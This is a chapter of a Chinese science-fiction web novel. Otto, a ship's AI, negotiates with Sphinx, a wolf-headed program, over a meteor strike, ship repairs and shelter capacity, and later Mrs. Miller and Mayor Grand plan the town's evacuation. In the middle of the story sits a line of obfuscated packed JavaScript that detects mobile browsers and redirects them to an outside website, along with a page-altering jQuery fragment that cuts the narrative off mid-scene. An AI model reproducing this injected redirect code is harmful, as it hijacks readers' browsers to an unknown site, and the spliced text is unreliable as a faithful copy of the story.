站在他面前的确确实实是一个人类,不过只限于头部以下。那人赤裸上身,体型偏瘦,腰间缠一条金光闪闪花纹考究的裙子,甚至能看出绣案上那金属感的质地,像由金银线编织而成。双手套着蓝绿色的天河石臂环,脚上也有环形装饰,但更深一些,那是青金石。那最异质的头部,奥托研究了好半天,才确定这根本不是面具,而是那“人”就是长了一颗狼或者狗的头。这个形象他有印象,但是搜遍记忆,也只是几近六七百年前,在飞船上,匆匆忙忙地偶然模糊一瞥,应该出自埃及的某些记录,但他根本不知道那是什么。现在即使处于欧罗拉的空间里,他所见到的也只是满地碎屑,无从搜索。 “阿努比斯。看到我外观的人会这么说。但是,我的名字不是阿努比斯。”那人说话了,男音洪亮。“我是欧罗拉的一部分,是她创造出的一个程序。但是我可以执行所有的事情。现在这里只有我,访客。”修长的狼头凑上前,仔细打量了奥托一番。“啊,你在我面前赤身露体,所有的思维都一览无余。你带着很多问题,目标是来找‘某个人’谈判。坐下吧,访客。我可以代表任何人,甚至你想要找的那位‘某人’。” 奥托只觉得突然身后多了个支撑,像是被一个无形的力量重重砸在上面。然而他连自己在这里长什么样都没有概念,这个想法就好像被封锁了一样,像极了刚转换躯体那阵,总会不自觉地对已经不存在的辐条和手柄送出运动指示,却收不到任何回音。但刚刚他下意识地抵抗那阵猛然的冲击时,他看到两根像手臂一样的光条自身上分离,下一瞬就消散在黑暗中。狼头人仍然杵在正前方,非人的绿色眼睛竟然流露出一丝嘲讽,似乎很欣赏奥托刚刚的窘态。 “啊呀,那么急着坐下去干什么。”狼头人咧嘴,獠牙外露,但不狰狞。“看来你真是懒得给自己弄个像样的形象,虽然动作像个人,但我还是第一次见这么不修边幅的人类。罢了,你爱裸露自己也无所谓。我只是好心提醒你,你现在所有的思考,我可都是看得一清二楚。” “你是西本吗?”奥托发问。 “西本是我的供者(donor)之一。”狼头人回答。“叫我斯芬克斯。你呢,访客?在你那流动的思维底下我只看到一个显著的标记。叫……奥托?” 奥托没有回答。 “唔……真是有趣,你那数据流里开始想怎么把我放倒了呢。因为不满于现在这种被人支配的感觉吗?看来我得给你介绍一下这里的规矩。”斯芬克斯黑色的鼻子猛然从奥托的光团上移开。“不对。我都叫你穿件衣服了。我可是斯芬克斯,才是那个应该提问的,怎么现在变成我在读你暴露的思维,显得我在自问自答,像个傻瓜似的。” 斯芬克斯站起,径直向后坐去,一个椅子应动而生。 “听好了,这里可不是外面那种暴力的野蛮世界,这里不存在毁灭。如果你想在这里使用暴力,将我从这里抹除,那是不可能的。欧罗拉不会允许发生这种事情发生。”斯芬克斯说,从地上抓起一把碎屑。碎屑缓缓从它指间与手掌上飘落,轻的则扬起,星点反光幽幽消失在黑暗中。“看到这些碎屑了吗?碎屑是不会被改变的。就算你把我撕碎,我也不过是重新成为了碎屑而已,但只要组合我的规则还在,我就完全能恢复原样。就好像你们所有人都由星尘组成一样,全部破碎之后,不过也是重新散成星尘,星尘是不会消失的。” “如果勉强要算是击败我,只有一种。”斯芬克斯说。“说服我,让我自己破坏我的规则,那么依附在规则上的碎屑自然会脱落,不再聚合,我的个性也会被削弱,也就是你们说的‘死’。但是,如果你被我说服了,那么,你在这里存在的规则将会被破坏,被我说服的那部分,就会成为我的供者。也就是你们所说的‘吃掉’。”它的狼眼直盯奥托。“懂了吗?这也就是为什么我叫斯芬克斯。” 奥托没有回应。 “一上来就讨论你死我活的事情,真是无聊,只有你们愚蠢的实体人,才整日想着怎么毁灭对方。”斯芬克斯嗤道。“行了,回到正题。奥托,摆出你来这里的目的吧。不要再让我被迫去读你那赤裸的内心了,真是无礼。” 他无法判断斯芬克斯是否在撒谎。一个将弱点第一时间告诉对方的程序……斯芬克斯是用这种方式取得他的信任吗?在这个地方,他几乎动弹不得,仿佛是中了神经毒剂、瘫痪在椅子里的人。甚至连掩盖自己的思维都做不到。斯芬克斯完完全全能读取他的思维,从中发现破绽。只要起而攻之,他必定没有还手之力。然而,斯芬克斯只是坐在那里等着,居高临下地盯着他。 他决定试探斯芬克斯。第一个问题直接从他的思维流中分离,在这片空无一物的地方呈现出来。 “看来你是个谈判员!我喜欢这样,寻求协商而不是争斗。哦?原来你还有公证官[1]盯着我们的对话呢!不过没关系。公开透明更好。当然,这肯定不是你的全部。”斯芬克斯眨了眨眼。 公证官?奥托愣了。难道米勒夫人能获知这里的过程? “第一个问题……延缓流星体下落?”斯芬克斯挑起眼睛。“有意思,你想延长到多久呢?” “全部人得以安全离开后再下落。”答案直接从思维中逸出,甚至连加工的过程都没有。 “全部人?”斯芬克斯挑起眼睛。“如果我没记错,上面可是有超过公理号两倍乘客载量的人呢。多出来的人换神仙也塞不进去,这你认同吗?” “还有常量号。” “嗯?”斯芬克斯佯装推了下不存在的眼镜。“我看你这个谈判员调研都没搞好喔!你知道常量号现在的情况吗?他们都打算放弃这艘飞船了。” 飞速流过的场景直接侵入奥托的数据流。海滩都因加速而成了模糊的白雾。他看到常量号人像蚂蚁一般往返于常量号和公理号之间,常量号像一具已经支离破碎的昆虫尸体,内含物被它原来居住的蚂蚁们逐件搬运到了另一艘飞船上。 一种不祥的预感猛然涌上。常量号人这样做,恐怕是还认为地球镇人没有发现他们的行为。而斯芬克斯这么一说,至少米勒夫人就会知道。出于对地球镇人自身的保护,她会告知地球镇吗?如果告知了地球镇,常量号的行动必然被阻拦,起飞必然被延误…… 不行,他不能在这种情况下,让整个对话过程都传出去。 “这里的谈判过程都正在实时传向折跃井外面吗?”奥托问。“有多少人知道这场对话?” “是的。不过传出去的只有已经发生的对话,都是以文字形式表现的。”斯芬克斯说。“只让一人得知。那人叫……米勒夫人。原则上谈判结果出来之前,她都不会离开折跃井所在的建筑。只要她不离开,就不会有泄露的风险。” “我请求停止传送。仅留谈判结果。”奥托说。 “没问题。实时传送终止。”斯芬克斯说,只瞪大一边绿色的眼睛看着奥托。“你最好想个体面的理由去应对米勒夫人发来的质疑。” “等她问了再说。”奥托说。“每一项谈判结果即刻发出,如果她有异议,可以将意见传送回来继续讨论——” “不行!这是作弊!”斯芬克斯突然暴跳如雷。“不然要你这个谈判员何用!”他指着奥托所在的光团。“你在这里谈判的结果就是最终定论!” 光团陷入了沉默。斯芬克斯继续站在原地,静静等他。 “实时传输开放。提问重新开始。”奥托终于说。“修好公理号直至得以安全起飞,需要多长时间?” “你终于问了个具有操作性的问题!这个我可以满足,反正数学对我们而言是透明的。按公理号最大载客量65万人 ,给你看看修好飞船需要多久。” 斯芬克斯面前霎时展开一大片虚浮的数据,包含了公理号各个关键设施的缺损情况以及地面具有的全部维修条件。斯芬克斯将缺损情况一一分解,对应维修条件上,调用的函数也显示在奥托面前,手上飞速的动作才显示出它的程序本质。纷繁杂乱的条目被斯芬克斯逐一归类、化成时间,再求和。 “维修部件全部加起来需要6个月,再给你们2个月准备时间,总共需要8个月,你觉得如何?我没有算错吧?”斯芬克斯站在那延伸得望不到头的方程旁边,一手半靠在结果上。“这结果不错,正好在一个良好的发射窗口期。” “为什么你拒绝计算常量号修复所需的时间?”奥托问。“常量号的核聚变引擎和超空间跃迁发生器并未损毁,修复内容在地球镇目前技术可及范围之内,它仍能带走相当多的人,为什么你放弃它?” “你这就感情用事了,奥托。我看到你的心中已经有几率,但是作为一个精妙的集合程序,这个时候竟然选择了低概率的一边,真是遗憾。”斯芬克斯居高临下。 “既然你要算,我就给你算,修好常量号直到它能起飞需要多久。”斯芬克斯把刚刚的结果撇到一边,重新列出常量号的数据。“我这可是拿的现在的情况,还不是过两个月之后常量号可能的情况。用的地面条件也没有算进公理号需要占据的资源。” 它继续摆弄那一大片更加庞大繁杂的方程,直至它们逐一成列。最后的那串数字比公理号的要长得恐怖得多。数字塌陷成年份,斯芬克斯冷冷盯着奥托。 “18年。倾尽地球镇所有能力,不包括维修公理号的。” “停止流星体下落,给地球镇20年时间。”奥托的回应斩钉截铁。“对于你来说,20年是可以被接受的时间。” “啊,当然可以。”斯芬克斯突然裂开狼嘴笑了。“不过,你们恐怕等不到20年,一年的时间都不会有。” “什么意思?” “除了抬头看流星体,也请低头看看你们脚下吧,愚蠢的实体人。”斯芬克斯又一扬手,地球的地质活动动态全息图霎时在灰色的空间里展开,蓝红黄的多普勒热流穿梭在地壳下方,伺机朝地壳的任何缝隙进发。全息图仍然在不断变化,仿佛自空中向地面俯冲而下,将焦点放在了位于南卡罗来纳州的地球镇。 而奥托根本没有看那个表演一般的全息图。他的思维被猛然扯进欧罗拉的质能观测体系,感官直接来到地球镇北面山脉底下,将无形之手伸进了那条正在向南缓慢突入的火舌。 糟糕。 本来作为小俯冲带的北面山脉,地壳厚度应当足够坚固,甚至足以抵挡朝这里不断上涌的地幔柱,让滚烫的玄武岩止步于厚厚的岩块之内。然而,数月之前的南面陨石震荡,山脉下方本就承受巨大压力与剪切力的坚固岩体出现了破碎,加上启动火圈导致的小地幔柱南移,来自地幔深处的高温岩流霎时填充了破碎岩体内的缝隙,绕过了沉重的头顶大山,为自己打开了数条朝向南部平原的通道。现在,它再也无阻。穿过山脉,来到地球镇,只是时间问题。 无需斯芬克斯多言,他已经看到了地球镇变成下一个冰岛的未来。即使熔岩流的第一个突破口不一定在地球镇境内,稀薄而持续不断涌出的碱性熔岩、毒气和烟尘,即使不会霎时摧毁地球镇,也会将地球镇变成一个活生生的地狱。 地球镇本可以观测到北侧山脉深处逐渐密集、位置逐渐变浅的小地震群。然而,经由海啸的洗礼之后,位于大区的地震观测站已经被摧毁。而且,大家现在都紧张天上的不速之客,没有人去重建观测站,没有人关心他们脚下可能的威胁。 与能够通过装载的推进器微调轨道的流星体不同,地核内部的扰动早已不能阻止。地球镇彻底没有后路了。 斯芬克斯说的没错。他们只剩下一年左右时间。如果这一年内不起飞,即使彗星没有直击地球镇,活跃的地质活动也将严重干扰飞船。即使他想延期到一年,哪怕第一个盾型火山尚未在山脉南面喷出第一缕青烟,前期的地震与地裂,或许就会让公理号成为下一个在原地倾倒的常量号。 “数学与疗愈地球的美妙结合。”斯芬克斯丝毫不留意面前光团中震惊与绝望的粒子运动,仿佛在介绍一件精妙绝伦的艺术品。“你们以为这是祸不单行,其实都是精准计算的结果。前期的流星体将地壳结构破坏,进一步活化地质,再将小行星落到地壳薄弱点上,利用内外夹击的力量将地核深处的物质大量翻到表面,将所有物质液化、气化后重新分层沉降,达到彻底净化的效果。我们只是在忠实模仿德干暗色岩事件罢了。”它搔了搔头。“只要撞击角度、速度和位置得当,甚至可以抵消地球被撞偏轨道的影响。啊,甚至……几万年后你们或许会有第二颗小月亮,就像火星一样。如果运气足够好的话。” 奥托沉默不语。狼头人只盯着那光团,要把他看穿。 “你同意了。你的想法无法被任何语言掩饰。”对手因它的严谨计算心服口服,斯芬克斯得意洋洋。“你们的安全时间只有8个月。8个月后,流星体将摧毁地球镇。” “下一个问题。”斯芬克斯心情很好,它重新坐回椅子上。“扩大超空间基地容量?有意思。你要扩多少?” “扩充到足以支撑地球镇和常量号留下来的人。” “为什么呢?” “在公理号起飞后,让尽可能多的人进入超空间基地避灾。”奥托即刻回答。 “很有趣。但是目前的超空间基地做不到。因为现在超空间基地是基于地热体系维持的,空间不可能有多大。平均每人12立方米的空间,即使本基地扩容到最大程度,也无法把留下来的人容纳下来。你觉得应该怎么办呢?” “利用恒星能体系扩充空间。”奥托回答。“太阳释放的能量足够支持超空间基地的规模和持续时间,直到地球情况稳定后,都没有任何问题。” “这手伸得可真够长的。我敬佩你的灵机一动。”斯芬克斯再度露出狼笑。“但是,你有想过不同体系之间应该如何转换空间吗?” 奥托愣了。 “尽管我们位于高维,创造的低维投影却只能遵从它自己的法则。能量的分布决定了它们的位置与规模,它们能否相遇,也取决于维持它们存在的基础是否足以支撑它们长途跋涉。否则,即使我们有心联络,它们也会在途中崩解得一干二净。” 奥托再度被带入质能体系中,感受渺小的地球的温度,和太阳相比,如一粒沙一般微不足道。而它们之间,隔着漫漫无际的、黑暗冷寂的虚无。地球上的超空间基地,如果踏入这黑暗,必然立刻消散得无影无踪。 他们曾经得以穿越各个星域的飞船,也无非是携带了这样的能量源,短暂地将他们抛进高维的低阻航道而已。但是一旦没有这样的基础,他们也不过是一头在星云中横冲直撞的困兽,永远不得脱身。 地球镇人真的要灭亡了吗?尽管万分不乐意,奥托仍然不由自主地回想起伊芙带回植物的那天,他当时以为那就是灭亡。结果人类顺利生存,但现在发现,他们不过是踏上了一条死缓之路。 “当然了,扩充一点点容量也不是不可能。容下个几百一千人,我还是做得到。”斯芬克斯饶有兴味地看着那团在残酷事实中挣扎的粒子,似乎对方越是痛苦,它越开心。“只不过,等到忒亚二号下来的那一瞬间,超空间基地的容量可能最终只能收缩到区区5立方米,只能留下冷却之后启动生物风化的细菌库,其他所有东西都会消失殆尽。” 在地球上留下的所有人都会死!他的一部分在尖啸,另一部分则同时疯狂质问原先的幻象:看到的活着的那么多人,究竟是什么意思! “你意向如何?”斯芬克斯仔细观察那个光团,它根本不赶时间。 他当然知道得现在作出选择。但是看不到明朗的未来与答案,他根本无从下手。一旦有任何闪失,剩下的这一大批人的性命,全都将死于他的手下。 奥托望着那个狼头人。如果地球镇人最后不得不灭亡,他宁可这件事发生得晚一些。他不想让地球镇人在地球镇内被流星体和熔岩毁灭,更不愿他们在这8个月内,就因为争抢公理号和超空间基地这两个避难所而殒命。 他不能决定。模拟了数十遍地球镇人们的不同去向后,得到的结果都一样灰暗。地球镇上的所有人必定迎来惨烈的生存竞争,人数锐减一半以上,无论是留在地球镇,或是容许区区一千人进入折跃井。 如果他决定采取任何一个结果,地球镇人会按照他所想的去执行吗?欧罗拉会在意他们行动的区别吗? 他只知道必须保证公理号起飞。其余的一切,都无能为力。 “扩充超空间基地容量,直至足够容下最多人数。”他最终选择了那个只有微乎其微优势的方案,尽管知道,他们在超空间基地也只能延长一年寿命。 “很好。”斯芬克斯说。“但是你如何选择进入超空间基地的这1000人?” “如果定得标准太低,例如说没有标准,那么,由于超空间基地容量有限,先来者占据了位置,如果后来者其实比先来者的知识储备还要优秀,对于更优秀的后来者而言,是否是不公平的?” “如果把标准定得过高,比如说给你们刚刚出题的水平——必然对你们平均水平而言是难的,不然你不会提出这么一个请求——让优秀的人进到超空间基地,却让其他并非因为本身不愿学习,只是因为没有机会的人留在外面,被冲击波所毁灭,这对于留在外面的人而言,是公平的吗?” 奥托依然沉默。斯芬克斯根本不着急获得答案,只是饶有兴味地盯着那个内部粒子横冲直撞的光团。 最符合逻辑的当然是高精尖人才。只有他们才能理解超空间基地的运作模式,在这里才能寻找击破欧罗拉的方式。但是,他们更应该跟随公理号离开地球。奥托发现他极度不愿在这件事情上做决策,宁可交给人类自己决定。然而斯芬克斯有言在先,即使他这样想,恐怕斯芬克斯也不会同意。 他决定反将一招。“作为拓宽超空间基地规模的执行者,与地球复苏资料的保留人,不应该考虑进入者对这些复苏资料有可能的破坏问题吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706303|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯芬克斯果然犹豫了。“复苏资料可以分区管理,正如现在的你一样。” “不,实际上,分区管理需要耗费更多的地热能,对地球本身破坏更严重。而且现在的复苏资料数量庞大,多耗费的影响不能被忽视。这违背了你的地球至上原则。”奥托说。“而判断进入者是否会破坏资料,只有你清楚应该如何筛选。” “流量应该如何?如果不是在8个月内只留下1000人,那么你打算怎么办?” “这超出我的能力范围。”奥托承认。“我无法就此达成谈判任何结论。” 斯芬克斯一言不发,只是那双绿色的狼眼透视般射过光团。奥托不予任何遮掩,甚至阻碍的想法都没有,将他的计算全部暴露给斯芬克斯。 “好。”斯芬克斯终于回答。“只留下超空间基地在这8个月内上限1000人容量,其余由进入者人数与他们的资质决定。” 难得斯芬克斯会妥协。奥托略微放松了一点,但也仅仅是一点点而已。沉重仍然压得他几乎喘不过气。 “还有任何问题吗?”斯芬克斯问。 没有了。携带的问题库空空如也。 “好极了。谈判顺利完成,结果即刻执行。小行星群的轨道已经调整好了,米勒夫人也都获悉了谈判结果。”斯芬克斯说。 一片全息影像从他后面一点产生,逐渐铺满了整个房间。那是从谈判结果生效起,地球镇的一举一动,包括米勒夫人走出小楼的影像,和公理号上的影像。奥托同时感到了和这些影像的某种隐隐约约的联系,就好似处于飞船上,神经与飞船相连一样,海量的实时信息涌入神经,仿佛他的一部分。“你被允许监督我们的协议执行情况。”斯芬克斯说。 结束了。即便早知谈判结果大概率不理想,而当不良的结局真的摆在他面前时,无助、挫败,自进入这个沉寂单调的灰色空间以来,一直缺席的情感这才逐渐出现,而它们都失真了,好像隔着一层膜,连他都只觉得麻木。不知是确实如此,或是结局过于惨淡,以至于连愤起反抗都失去了意义。 他唯一知道的是,这一切都是他一手造成的。由于他,地球镇失去了本可以使更多人撤离的机会。常量号失去了起飞的机会,地球镇一半以上镇民都会滞留地球,流星体会按时下落,并且在超空间基地里的人也会有一大半会直接毁灭……他不断检查自身,是否是自己的逻辑或谈判的某个步骤出了问题,但结论是基于计算结果得出的这些结论没有问题。 面对拥有绝对力量的斯芬克斯,他根本没有讨价还价的余地。但确确实实,地球镇上的人类将会因为他的谈判结果而遭到巨大打击。 他想起降落日那天,满甲板肥胖又愤怒的人群,在意识消失前的短短几毫秒内,他听到了潮水般的欢呼声。奥托知道,如果地球镇人得知让他们陷入困境的结果是谁造成的,他会遭受到什么。 但他其实比愤怒而绝望的人群更为自责。检查自己的逻辑与方案选择完全没有问题,他却没能完成保护人类的任务。如果用了科学而符合逻辑的方式,却没有达到原本设定的目的,那就一定是他的预设条件出错了,只是他根本不能意识到这点。 现在意识到,但是已经晚了。 如果预设条件出错,那他更没有理由存在了。他的存在就已经偏离了原先的目的,继续让他为此目的多努力一分,都会让他离想要达到的目的更远,带来的伤害就越大。 斯芬克斯根本不给他更多的时间。那个狼眼死死盯着奥托。 “你的问题我解决了。现在,轮到我了。”斯芬克斯修长的鼻吻贴近光球,一呼一吸都充斥着嗜血的杀气。“若是打败我,你还有离开这里的机会。” “不用烦劳提问了。”奥托说。“你直接杀了我吧。回去我也是死。” 米勒夫人坐在贴满折跃井信息的密室里,陷入沉思。 8个月。相比以前仅仅3个月后,地球镇所在的这片泊区将直接被忒亚二号的前奏小流星体所摧毁相比,欧罗拉已经给了相当的仁慈。 地球镇总共有130万人,相比大逃亡起飞前,人口翻了一倍而多,其中大区占了105万人,O区仅有25万人。 常量号经过数次浩劫,现存人口仅有5000人左右,但目前全体都位于公理号上。他们是铁了心必须离开的宇宙游族,无论地球的命运如何。因此估计很难将他们骗下公理号。如果强行将他们赶下飞船,或者就地歼灭,虽然他们人数很少,看似地球镇有绝对碾压能力,但以他们的凝聚程度,以及他们目前所处的这种举措将让地球镇的处境变得相当危险——当把一个民族逼上绝境,他们发现自己无力反抗之时,往往将根据地连同他们一起毁灭。 他们长期生活在太空,科学技术一直没有遭遇过和公理号一样的退化。加上强烈的起飞意志,他们修船将比O区还要高效高质。他们将是地球镇免费的修船工。甚至能够让地球镇白白占有剩下的绝大多数空票座。如果地球镇希望按时起飞,为他们的夺船行动予以支持再合适不过。他们较少的人数此时也是莫大的优势。如果他们的数目超过10万,对地球镇将是很大的威胁。 接下来就是O区与大区的竞争了。 只要O区全面支持常量号人的行为,以保护他们的名义全体搬到公理号上,公理号起飞仍绰绰有余。并且这样做,不仅为常量号人提供了保护,还能终于顺理成章地接近自分裂以来都未能正当接近的公理号。而如果O区如以前那样不插手,不仅无法正当接近飞船,本身超过乘客载量的大区人很可能会对常量号人赶尽杀绝,同时与O区的矛盾摩擦将会达到顶峰。 如果两种选择的结果都是不可避免地与大区产生摩擦,那么,O区宁可选择加入常量号人。他们在生存上不应当是竞争关系。 尽管如此,直接与大区产生8个月的冲突仍然耗时过长,中间产生的变数难以预计。即使是最先进的计算机,或是机器人,也不会首选为此作计算。考虑到大区原本的人群就以反对起飞,留驻地球为主,将他们引导进超空间基地是最好的选择,即使在里面的命运也是死亡。只要这项行动拖得够长时间,只要讲点技巧,那么,即使最后爆发了冲突,波及到的人数也不会太多。 啊,如果能更早一点与折跃井联系上该有多好。米勒夫人不禁想到。在没有危机的时候,提前给大区人一个选择,让他们自动地被流放到大陆中央,虽然最后仍然难逃一劫,但是至少地理上有所隔离,人眼见不到,就不会对灾害有直观感受,恐慌也会少一些,基于恐慌产生的反抗,处理起来也就不会那么令人棘手。而到现在,大家都已经知道流星体的存在,想必将有一大片改变主意要走的人。此时再和他们说地球上哪里安全,显然对他们来说,接受起来会更难。 结束谈判到现在,奥托仍然没有回音。虽然原则上,他已经完成了任务,但米勒夫人仍然好奇这个先驱的状况。折跃井也没有对此作任何解释。奥托的谈判表现太消极了,完全不像是经营过700年星舰的人工智能,甚至比她都还要生涩。然而她什么忙都帮不上,全凭自己数十年培养的定力才稳住听完全程。她也想过,若是自己,或者其他什么人去谈判,可能会让结果更积极一些。不过,或许这已经是人类最好的结果——至少奥托值得信任,他不会为一己私利或仇恨,让整个地球镇的人类替他埋单。 这时,她的耳机里传来折跃井频段的消息。 【折跃井里并不是封闭的,米勒夫人。它可以在外界开口,其中一个通道,通往密西西比河平原,就是我们看到的折跃井进入界面,密西西比河上有一样的建筑。】 是德卡德!他找到了通过微脑机把信息发出来的方法! 米勒夫人骤然站起身,从流向东方的河流乘一叶小舟出发。她已打定主意,O区必须在地球镇所有人都获知真实事态之前,与常量号人,以及那艘飞船,紧密地绑定在一起。然后才将事实告诉可怜的大区人。 此时海面风平浪静。初夏时节阴雨绵绵,大区里本应耕种的田地荒废甚久,理应呈现的绿意再次恢复到刚降落时的黑黄,只有杂草丛生其中。小艇借着浓雾掩护,转向那艘唯一矗立在海上的巨船。通过皮下植入物,她敲开了公理号的大门。 “迁徙到内陆?”格兰德眯起老眼。 “是的。但是,不需要大家长途跋涉。折跃井可以作为一个虫洞,和跃迁一样,让人群直接通往内陆。”米勒夫人说。“密西西比河平原是折跃井的生物材料存储基地,不会受到流星体的影响。” 格兰德微微点头。 “任何不愿离开地球的人都有生存的机会。这是大逃亡前,先人们对抱有地球情怀的人们的馈赠。既然8个月后,地球镇会迎来正面撞击,对于仍处于灾后状态的地球镇来说,此时迁入内陆,是最好的选择。”米勒夫人说。“你也一直在考虑迁徙的问题。经过灾后,以及正面撞击的信息,大家迁移的愿望会很大。此时在地表上实施远迁,不仅行动缓慢,而且危险。通过超空间基地,可以快速将他们转移走。” “唯一的缺点是,超空间基地的规模需要根据人数不断调整。因此,不能一次性涌入70万人。需要逐次分批进入。”米勒夫人说。“每次折跃井运作可以迁入1000人,这样8个月内完全能够将大部分地球镇人迁入内陆避难。” 格兰德没回应,双手托着长满灰白胡须的下巴。 38. 三十一(1) 折跃井开放了,但是,开放的位置不在O区的小楼内,而是在原先科林曾带队探索的小岛上。印着“空间与负质量工程”的大门对外彻底洞开,尽管无人拜访,内部的老旧设备开始被海岛的水汽、盐分和其他生物侵蚀,折跃井仍然置之不理。硕大的蓝色光环稳定地呈现在金属环架中央。 第一批进入折跃井的也并非大区人,而是O区人与部分常量号人。在获知折跃井确实降低了标准后,米勒夫人再次召集当时所有对折跃井表示出兴趣的人,告知他们,在折跃井中,他们不仅能获得安全保障,而且能参与补全逐梦计划。之前报名者多为O区内的研究者,当安全疑虑解除之后,无人能抵挡折跃井的诱惑。这次,米勒夫人没有筛选,而是任他们前往折跃井——但没有从小楼进入,他们都乘坐众多悬浮器拼凑而成的大悬浮运输艇,涌向那座一直无人问津的岛屿。 常量号也派出了成员。但他们的目标与O区人迥然不同。人类尚未与折跃井接触之时,常量号没敢贸然进入折跃井。而这次,他们改变了主意。公理号内的负质量合成装置暂无下落,既然折跃井声称超空间基地内有,那么,前往折跃井探查不失为一个好选择。上次前往小岛的人与机器人,跟着大悬浮运输艇驶向远方的海域。而这批个体之间,科林不在其中。 很快,他们自折跃井发出各自的信号。所有成员顺利抵达超空间基地,并且开始将“逐梦计划”的所有已知内容传回地球镇。折跃井调查小队夜以继日将这些庞大的信息写入光片,一共备份3份。公理号原有的光片甚至都不够用,常量号则慷慨地悄悄送来他们所剩无几的光片。这些备份的光片,至少有一份将会被保留在公理号上。 更为振奋的是,常量号的成员找到了折跃井当时所称的负质量合成装置。他们没有进入超空间基地,而是直接被导入到西本当时降落的航空基地,所幸的是那里并未被陨石或者地质活动所破坏。负质量发生器就在西本的那架单人深空飞船上。它仅仅是一个原型,产能效率很低,根本不能向常量号这样的大型殖民堡垒提供多少跃迁用的能源,更何况公理号。但常量号成员决定,还是要将它运上公理号。折跃井也遵守了它的诺言,让他们得以带着这个原型机顺利回到公理号上。 事至如今,只要他们在8个月内修好公理号,就可以彻底离开这个鬼地方。科林听闻原型机已入舰,一块大石头终于落了地。而修好公理号或许根本不需要8个月。她的外壳远没有刚降落时的常量号那么千疮百孔,只要复原气密性,让她不至于在太空航行时突然漏气爆裂,或者在跃迁中突然粉碎,内部的其他结构完全可以等他们回到马头星云的建设基地后再慢慢补充。 与五人小队协作探索进入折跃井的其他O区人也传来消息,他们成功启动了地球镇通往密西西比河平原的虫洞道。O区人站在北方仍然干枯的草地上,冷风干燥却安静。 米勒夫人将进入折跃井的人员数量,以及他们现在的情况告知格兰德镇长。亲眼见过小楼内折跃井发回的信息,格兰德认为,是时候向镇民告知新避难所了。 “今日将大家召集在此,很不幸,是来宣布一则不容乐观的信息,以及地球镇的对策。” 大区早已无广场。原先那个已经被海啸冲垮。这块地方,是为数不多平整到能够同时站下数千人的地方。镇民们望向格兰德镇长,在场的飞行机器人悬浮在格兰德周围,将现场转录给不能来此地的其他人。 “当前,地球镇迎来着陆以来最严峻的形势。经过多方观测,最新观测结果表明,一颗外来陨石,将会在8个月后,正面击中地球镇。” “我理解大家不愿离开家园。但是很遗憾,地球镇不再适宜居住,我们也不得不放弃这片已经耕耘了将近150年的土地。” 在场的观众一阵骚动。 “因此,公理号会被重启作为应急后备。从现在开始,全力以赴,用尽全力维修公理号直至能够安全起飞,并且停止在地球镇重建家园。”格兰德接着说。“同时,地球镇将支持并支援常量号人维修他们的飞船。” 广场上窃窃私语。 “地球镇禁止以任何缘由因为飞船发起争端,并且,绝不主动挑起争端。未来8个月内,如果发生任何与飞船相关的争执,均非地球镇所为。请各位擦亮眼睛,挑起事端的,都是你们的背叛者。”格兰德洪亮的声音经由扩音器扩遍全场,并通过网络传遍所有在听的人。 窃窃私语再度变成骚动。 “我完全理解大家的心情。虽然我们不得不迁离这片土地,但是,我们还有一个好消息。那就是,我们还有个在地球上的避难所。”格兰德的语气变得坚定。 众人齐刷刷又冷静下来。 “密西西比河平原。但我们不需要经过劳累的长途跋涉,而是经过一个人造虫洞,一个古代构造。地球镇已经派出两批专家对其进行过测量与检验,它能够安全将我们转移到那里,并且继续生产生活下去。任何不愿意离开地球的人,都可以前往那里避难。”格兰德说。 折跃井内的蓝天草地小楼动态图片投影在空中,众人发出一声惊呼。“现在折跃井已经开放,任何想离开地球镇的,都可以申请登记进入。” “我是格兰德镇长,讲话完毕。我与地球镇同在,与你们共渡难关。”老人向全场鞠了个躬。 刚结束讲话,就有人开始递上申请。一天不到已经收到了将近2000份。申请者也很快获得了回应。他们即刻被安排上了悬浮摆渡船,一批又一批地运向那座遥远的海岛。 格兰德镇长回到临时居所,眉头紧锁。在他身边站着的几个人同样神色严峻。其中一个人盯着老人,终于忍不住开口。 “岂有此理,公理号是属于地球镇的财产,现在倒好,我们连名正言顺上船赶走常量号人和O区人的权利都没了。”那人盯着老人。“你这叫我们怎么发动夺船的突袭?” “地球镇并非只有上船一条路走。”格兰德没有回避对方的目光。“不准武力夺船,违者后果自负。” “你还看不出来吗?”中年人霎时向前一步,扯住老人衣领,旁边只有一个人上前打算拉开他们,然而,剩下的人都在原地不动,而是以同样的愤懑目光回应老人。他愤怒叫道。“折跃井是O区搞出来的彻头彻尾的谎言!进去就是死路一条,只有上船才能获生!” 无人前去拉开他们。 “我的立场向来是留在地球。”格兰德丝毫不为部下的冒犯所动。“折跃井是真是假又怎么样,你认为不进去,呆在地球镇,或者争夺上飞船的权利,就一定能活下去吗?” 中年人猛地松手,老人向后踉跄了一下,但没有摔倒,站定后仍然犀利扫过他们。 “叛徒!你根本不关心大区人的死活!”那人朝老人面前的地面啐了一口。“地球镇选你当镇长,真是造了天大的孽!” “你活到这个年纪不在乎死活,我们可不这么想。”中年人叉起双手。“我们还想活下去,我们还有家庭和孩子,绝对不可能像你一样傻,像你一样坐以待毙!” “那么在你活下去,和让大区其他人活下去之间,你选哪一样?”格兰德镇长问道。“你也知道,并不是每个人都能上公理号。” 那人被噎住了。“那当然是……有资格活下去的人才行。” “什么叫有资格的人?”老人继续问,双眼盯着中年人。“像你这样能看懂折跃井的本质,通过突袭夺得自己那一张船票的人吗?而其他相信折跃井的人,因为他们太傻,所以自己就走进坟墓,也就属于没有资格的那一类人吗?” “你至少得让——”中年人说到一半,突然停住了,似乎被什么东西猛然阻止。他喷着怒火的双眼陡然冲入矛盾。 老人扫视一周,大家的眼神和中年人如出一辙。 